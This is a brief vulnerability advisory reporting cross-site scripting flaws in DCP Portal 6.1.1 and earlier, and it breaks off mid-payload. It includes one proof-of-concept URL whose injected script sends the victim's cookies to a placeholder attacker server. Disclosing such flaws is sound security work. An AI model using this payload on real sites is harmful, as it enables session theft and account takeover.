===========================================================

Affected applications
----------------------

DCP Portal (www.dcp-portal.com)

Versions 6.1.1 and prior.

Description
------------

There are multiple cross-site scripting (XSS) vulnerabilities which can be verified by using the following exploits (the user needs to be logged in). They are roughly sorted by entry points (i.e., the names of the files that have to be navigated).The vulnerabilities were discovered under the assumption that register_globals is on, and that magic_quotes_gpc is off.

index.php
-----------

- index.php, 380:

http://localhost/dcp-portal611/index.php?page=documents&dl=xyz&its_url=x
yz.html"><script type="text/javascript">document.location="http://evilserver/stealcookie.
